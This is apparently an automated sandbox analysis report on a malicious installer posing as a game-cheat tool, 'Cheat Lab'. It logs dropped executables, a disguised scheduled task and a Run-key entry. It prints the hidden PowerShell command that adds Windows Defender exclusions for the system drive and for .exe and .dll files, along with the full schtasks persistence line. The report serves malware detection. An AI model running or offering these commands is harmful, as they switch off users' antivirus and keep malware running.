String found in binary or memory: FVfnl4yeuSiVk+jiJVF0Mr52dH/adDcDoEL+0QvC82BBNvNfiDcOPzSbEn8KbKPFXmSz6flFNV+b2z0Z0nzAmDT941n65Rq3W6uUqPdzrn1rqo0ZhPNJhXpCbZX4iwhntg

Source: C:\Windows\System32\msiexec.exe	Automated click: Install
Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc\Cheat Lab	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua	Jump to behavior

Source: Cheat.Lab.2.7.2.msi

Static file information: File size 2020352 > 1048576

Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb: source: MSIC01A.tmp, 00000006.00000000.1435656250.0000000000F77000.00000002.00000001.01000000.00000003.sdmp, MSIC01A.tmp, 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmp, Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, 66bc0c.msi.2.dr
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: connect.exe, 00000016.00000002.2145496559.00000000081C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: Cheat.Lab.2.7.2.msi, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, MSIACBE.tmp.0.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr, 66bc0c.msi.2.dr, MSIAB91.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: Cheat.Lab.2.7.2.msi, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, MSIACBE.tmp.0.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr, 66bc0c.msi.2.dr, MSIAB91.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb source: MSIC01A.tmp, 00000006.00000000.1435656250.0000000000F77000.00000002.00000001.01000000.00000003.sdmp, MSIC01A.tmp, 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmp, Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, 66bc0c.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler2.pdb source: Cheat.Lab.2.7.2.msi, MSIBEB1.tmp.2.dr, 66bc0d.rbs.2.dr, MSIBE81.tmp.2.dr, MSIBF2F.tmp.2.dr, 66bc0c.msi.2.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"			Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp	Code function: 6_2_00F5323C push ecx; ret	6_2_00F5324F
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Code function: 9_2_00007FF738A3499C push rbp; ret	9_2_00007FF738A349D8
Source: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Code function: 18_2_00007FF6FDFD499C push rbp; ret	18_2_00007FF6FDFD49D8
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0040A160 push eax; ret	22_2_0040A193
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_00402555 push ecx; ret	22_2_00402568
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CE1094 push eax; iretd	22_2_04CE2549
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CEB0DF push ebp; iretd	22_2_04CEB0E2
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CEB0DB push ebp; iretd	22_2_04CEB0DE
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CEB0D9 push ebp; iretd	22_2_04CEB0DA
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CEAD10 push edx; iretd	22_2_04CEAD1A
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CEA94B push eax; iretd	22_2_04CEA952
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_04CEA949 push ecx; iretd	22_2_04CEA94A
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_07FD1F12 push eax; ret	22_2_07FD1F21
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0808614D push FFFFFF8Bh; iretd	22_2_08086150
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_080862D0 push esp; ret	22_2_080863D1
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0812DC5E push esi; retf	22_2_0812DC61
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0812DD91 push ds; iretd	22_2_0812DDC1
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0812DDD2 push ebp; iretd	22_2_0812DDD5
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_0812DDD6 pushad ; iretd	22_2_0812DDD9
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08127DE3 push FFFFFF8Bh; iretd	22_2_08127DEA
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_081295B0 push eax; ret	22_2_081295C3
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 22_2_08154AB0 push FFFFFFC3h; ret	22_2_08154AD0

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Code function: 22_2_00408000 VirtualAlloc,LoadLibraryA,GetProcAddress,GetProcAddress,VirtualProtect,lstrlenW,CreateThread,Sleep,WaitForSingleObject,

22_2_00408000

Source: LuaJIT.exe.2.dr	Static PE information: section name: _RDATA
Source: NzEz.exe.9.dr	Static PE information: section name: _RDATA
Source: connect.exe.9.dr	Static PE information: section name: .jkqvbz

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe

Executable created and started: C:\Windows\Installer\MSIC01A.tmp

Jump to behavior

Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

File created: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe

Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAB91.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAEF5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAC8E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAC5E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAEA5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBE32.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC01A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAD1D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIACBE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBE12.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAC3E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBD45.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBF2F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSID76E.tmp	Jump to dropped file
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	File created: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBE81.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBDB3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAEC5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICA9B.tmp	Jump to dropped file
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	File created: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSID74E.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBE32.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC01A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBE12.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBD45.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBF2F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBE81.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBDB3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICA9B.tmp	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 11:45 /f /tn NotepadUpdateTask_NzEz /tr ""C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe" "C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua""

Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LuaJIT			Jump to behavior
Source: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LuaJIT			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSIC01A.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
